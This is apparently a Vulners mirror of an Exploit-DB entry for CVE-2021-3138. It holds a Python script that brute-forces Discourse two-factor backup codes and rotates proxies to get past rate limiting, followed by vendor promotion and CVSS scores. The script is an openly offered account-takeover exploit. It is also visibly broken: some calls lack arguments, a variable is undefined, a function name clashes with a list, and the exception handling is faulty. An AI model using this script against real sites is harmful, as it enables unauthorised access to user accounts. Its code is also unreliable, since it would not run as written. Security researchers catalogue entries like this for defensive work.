Lucene search
K

Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass

🗓️ 21 Apr 2021 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 434 Views

Discourse 2.7.0 - Rate Limit Bypass, 2FA Bypas

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass Exploit
21 Apr 202100:00
zdt
Circl
CVE-2021-3138
14 Jan 202107:49
circl
CNNVD
Discourse 安全漏洞
13 Jan 202100:00
cnnvd
CNVD
Discourse has an unspecified vulnerability (CNVD-2021-100598)
21 Jan 202100:00
cnvd
CVE
CVE-2021-3138
14 Jan 202103:30
cve
Cvelist
CVE-2021-3138
14 Jan 202103:30
cvelist
EUVD
EUVD-2021-26485
7 Oct 202500:30
euvd
NVD
CVE-2021-3138
14 Jan 202104:15
nvd
OpenVAS
Discourse < 2.7.0.beta4 Multiple Vulnerabilities
15 Jan 202100:00
openvas
OSV
BIT-DISCOURSE-2021-3138
6 Mar 202411:10
osv
Rows per page
# Exploit Title: Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass
# Date: 14/01/2021
# Exploit Author: Mesh3l_911
# Vendor Homepage: https://www.discourse.org/
# Software Link:https://github.com/discourse/discourse
# Version: Discourse 2.7.0
# CVE: CVE-2021-3138

import requests

username = input("\n input ur username : ")
password = input("\n input ur password : ")
session=requests.session()

proxies = []
def proxies():
    proxies_path = input("\n input ur proxies path : ")

    with open(proxies_path, 'r') as prox:
        for _ in prox.read().splitlines():
            proxies.append()

backup_codes = []
def backup_list():
    Backup_codes = input("\n input ur Backup_codes list path : ")

    with open(Backup_codes, 'r') as codes:
        for _ in codes.read().splitlines():
            backup_codes.append()

def exploit():
    with open('Backup_codes.txt', 'w') as results:
        try:
            for __ in proxies:
                for _ in codes.read().splitlines():
                    header =\
                    {
                        "X-CSRF-Token": "ur X-CSRF-Token",
                        "Cookie": "ur Cookie",
                        "X-Requested-With": "XMLHttpRequest"
                    }
                    body = {"login": username, "password": password, "second_factor_token": _, "second_factor_method": "2"}
                    request = session.post("ur target_url", headers=header, data=body, proxies={'http': __, 'https':__})
                    source = request.text
                    backup_codes.remove(_)

                    if request.status_code == 200:
                        if '"id"' in source:
                            results.write("The Backup_Coude is > {} ".format(_))
                            return True
                        else:
                            pass
                    else:
                        proxies.remove(__)
                        break


        except requests.exceptions.SSLError and requests.exceptions.ConnectionError:
            print(" Connection Failed :( ")

        results.close()


def main():
    if exploit():
        print("\n Found :) \n")
    else:
        print("\n Please re-check ur inputs :( \n")
if __name__ == '__main__':
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2021 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 25
CVSS 3.17.5
EPSS0.02708
434